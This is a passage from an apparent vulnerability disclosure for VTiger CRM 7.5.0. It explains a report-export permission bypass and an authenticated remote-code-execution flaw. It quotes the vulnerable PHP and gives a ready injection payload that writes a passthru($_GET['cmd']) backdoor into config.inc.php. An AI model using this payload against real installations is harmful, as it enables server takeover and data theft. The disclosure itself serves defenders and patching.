The lack of proper checking is introduced in modules/Reports/ReportRun.php. Each of the provided column names are split on “:”.
$selectedfields = explode(":", $fieldcolname);
And then if the user is not an admin, then the script checks to see if the field is in an array of permitted fields which is generated from the selected primary module for the report:
!in_array($selectedfields[3], $permitted_fields[$module])
However, recall the input that was given:
vtiger_users:user_name:Contacts_Salutation:salutationtype
Because the “permitted fields” are being checked against the element at index 3 in the array, the field that is being checked is salutationtype in the Contacts module, which is not considered sensitive and so it is permitted for export. However, the table and column provided in the first two elements in the array undergo no such verification, leading to the data exposure.
Remediation
This issue was fixed in this commit by changing the validation on selected fields so that they are checked against allowed fields hard-coded in each module.
Authenticated Remote-Code Execution (CVE Pending)
Summary
A vulnerability exists in the Users module in the current release of VTiger CRM Open Source version 7.5.0 which allows an authenticated attacker to write and execute arbitrary PHP code to config.inc.php.
Proof of Concept
When a user is authenticated in VTiger normally, it checks their setup status to see if this is a new user that is not fully configured yet. It also checks to see if this is the first user, meaning an admin who should configure certain global properties. If so they are redirected to a UserSetup action in the Users module.
$userSetupStatus = Users_CRMSetup::getUserSetupStatus($focus->id);
if ($userSetupStatus) {
$user = $focus->retrieve_entity_info($focus->id, 'Users'); $isFirstUser = Users_CRMSetup::isFirstUser($user);
if($isFirstUser) {
header('Location: index.php?module=Users&action=UserSetup');
}
In this action there is a check to see if the user has passed a global currency setting ("USA, Dollars" by default) and saves it using the updateBaseCurrency function.
//Handling the System Setup
$currencyName = $request->get('currency_name');
if(!empty($currencyName)) $userModuleModel->updateBaseCurrency($currencyName); $userModuleModel->insertEntryIntoCRMSetup($userRecordModel->getId()); //End
In the updateBaseCurrency function, the provided value is set as the global currency setting for the entire system in the database and it also calls the updateConfigFile function, which opens the config file and uses PHP str_replace to replace the existing value with the one provided.
public function updateConfigFile($currencyName) {
$currencyName = '$currency_name = \''.$currencyName.'\'';
//Updating in config inc file
$filename = 'config.inc.php';
if (file_exists($filename)) {
$contents = file_get_contents($filename);
$currentBaseCurrenyName = $this->getBaseCurrencyName();
$contents = str_replace('$currency_name = \''.$currentBaseCurrenyName.'\'', $currencyName, $contents);
file_put_contents($filename, $contents);
The user setup action in the current version of VTiger CRM does not check that the user is actually set up or not, or has permission to change global variables. It only assumes that if you are accessing that page then you are the person who should be configuring it. So, by using an existing session cookie and a CSRF token taken from any authenticated page load, a malicious user can POST in a currency value like:
USA, Dollars';@passthru($_GET['cmd']);//
This value is then written blindly to the config.inc.php file as:
//Master currency name
$currency_name = 'USA, Dollars';@passthru($_GET['cmd']);//';
Since the config file is loaded on every page, then a malicious user can simply pass a unix command as the cmd parameter and see output at the top of the page.